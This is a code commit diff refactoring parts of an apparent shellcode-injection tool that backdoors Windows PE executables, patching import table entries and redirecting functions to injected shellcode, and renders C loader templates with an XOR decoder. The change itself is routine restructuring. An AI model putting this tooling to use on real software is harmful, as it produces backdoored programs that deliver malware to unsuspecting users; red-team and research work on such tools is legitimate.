refactor: remove source_style enum, do it with directories

phases/injector.py

@@ -21,7 +21,6 @@ def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier):
     exe_in = settings.inject_exe_in
     exe_out = settings.inject_exe_out
     carrier_invoke_style: CarrierInvokeStyle = settings.carrier_invoke_style
-    source_style: FunctionInvokeStyle = settings.source_style
 
     logger.info("--[ Injecting: into {} -> {}".format(exe_in, exe_out))
 
@@ -38,25 +37,24 @@ def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier):
     function_backdoorer = FunctionBackdoorer(superpe)
 
     # Patch IAT (if necessary and wanted)
-    if source_style == FunctionInvokeStyle.iat_reuse:
-        for iatRequest in carrier.get_all_iat_requests():
-            # skip available
-            addr = superpe.get_vaddr_of_iatentry(iatRequest.name)
-            if addr != None:
-                logger.info("    IAT {} is at: 0x{:X}".format(iatRequest.name, addr))
-                continue
-            iat_name = superpe.get_replacement_iat_for("KERNEL32.dll", iatRequest.name)
+    for iatRequest in carrier.get_all_iat_requests():
+        # skip available
+        addr = superpe.get_vaddr_of_iatentry(iatRequest.name)
+        if addr != None:
+            logger.info("    IAT {} is at: 0x{:X}".format(iatRequest.name, addr))
+            continue
+        iat_name = superpe.get_replacement_iat_for("KERNEL32.dll", iatRequest.name)
 
-            if not settings.fix_missing_iat:
-                raise Exception("Error: {} not available, but fix_missing_iat is False".format(
-                    iatRequest.name
-                ))
-            # do the patch
-            superpe.patch_iat_entry("KERNEL32.dll", iat_name, iatRequest.name)
+        if not settings.fix_missing_iat:
+            raise Exception("Error: {} not available, but fix_missing_iat is False".format(
+                iatRequest.name
+            ))
+        # do the patch
+        superpe.patch_iat_entry("KERNEL32.dll", iat_name, iatRequest.name)
 
-        # we modify the IAT raw, so reparsing is required
-        superpe.pe.parse_data_directories()
-        superpe.init_iat_entries()
+    # we modify the IAT raw, so reparsing is required
+    superpe.pe.parse_data_directories()
+    superpe.init_iat_entries()
 
     shellcode_offset: int = 0  # file offset
 
@@ -121,9 +119,8 @@ def inject_exe(main_shc: bytes, settings: Settings, carrier: Carrier):
                     addr))
                 function_backdoorer.backdoor_function(addr, shellcode_rva, shellcode_len)
 
-    if source_style == FunctionInvokeStyle.iat_reuse:
-        logger.info("--( Fix shellcode to re-use IAT entries")
-        injected_fix_iat(superpe, carrier)
+    logger.info("--( Fix shellcode to re-use IAT entries")
+    injected_fix_iat(superpe, carrier)
     logger.info("--( Fix shellcode to reference data stored in .rdata")
     injected_fix_data(superpe, carrier)
 

phases/templater.py

@@ -1,6 +1,7 @@
 from jinja2 import Template
 import shutil
 import logging
+from typing import List
 
 from helper import *
 from observer import observer
@@ -10,6 +11,17 @@ from model.settings import Settings
 logger = logging.getLogger("Assembler")
 
 
+def get_template_names() -> List[str]:
+    templates = []
+    for filename in os.listdir(PATH_CARRIER):
+        if filename.startswith("."):
+            continue
+        if filename == "common" or filename == "decoder":
+            continue
+        templates.append(filename)
+    return templates
+
+
 def create_c_from_template(settings: Settings, payload_len: int):
     logger.info("--( Create C from template: {} -> {}".format(
         PATH_DECODER, settings.main_c_path))
@@ -24,34 +36,17 @@ def create_c_from_template(settings: Settings, payload_len: int):
             'XOR_KEY': config.xor_key,
         })
 
-    # C Template: peb_walk
-    if settings.source_style == FunctionInvokeStyle.peb_walk:
-        with open(settings.template_path, 'r', encoding='utf-8') as file:
-            template_content = file.read()
-            observer.add_text_file("main_c_template", template_content)
+    # Choose correct template
+    dirpath = PATH_CARRIER + settings.carrier_name + "/template.c"
+    with open(dirpath, 'r', encoding='utf-8') as file:
+        template_content = file.read()
+        observer.add_text_file("main_c_template", template_content)
 
-        template = Template(template_content)
-        rendered_template = template.render({
-            'plugin_decoder': plugin_decoder,
-            'PAYLOAD_LEN': payload_len,
-        })
-        with open(settings.main_c_path, "w", encoding='utf-8') as file:
-            file.write(rendered_template)
-            observer.add_text_file("main_c_rendered", rendered_template)
-
-    # C Template: iat_reuse
-    elif settings.source_style == FunctionInvokeStyle.iat_reuse:
-        with open(PATH_IAT_REUSE + "template.c", 'r', encoding='utf-8') as file:
-            template_content = file.read()
-            observer.add_text_file("main_c_template", template_content)
-        template = Template(template_content)
-        rendered_template = template.render({
-            'plugin_decoder': plugin_decoder,
-            'PAYLOAD_LEN': payload_len,
-        })
-        with open(settings.main_c_path, "w", encoding='utf-8') as file:
-            file.write(rendered_template)
-            observer.add_text_file("main_c_rendered", rendered_template)
-
-    else:
-        raise Exception("Invalid source style: {}".format(settings.source_style))
+    template = Template(template_content)
+    rendered_template = template.render({
+        'plugin_decoder': plugin_decoder,
+        'PAYLOAD_LEN': payload_len,
+    })
+    with open(settings.main_c_path, "w", encoding='utf-8') as file:
+        file.write(rendered_template)
+        observer.add_text_file("main_c_rendered", rendered_template)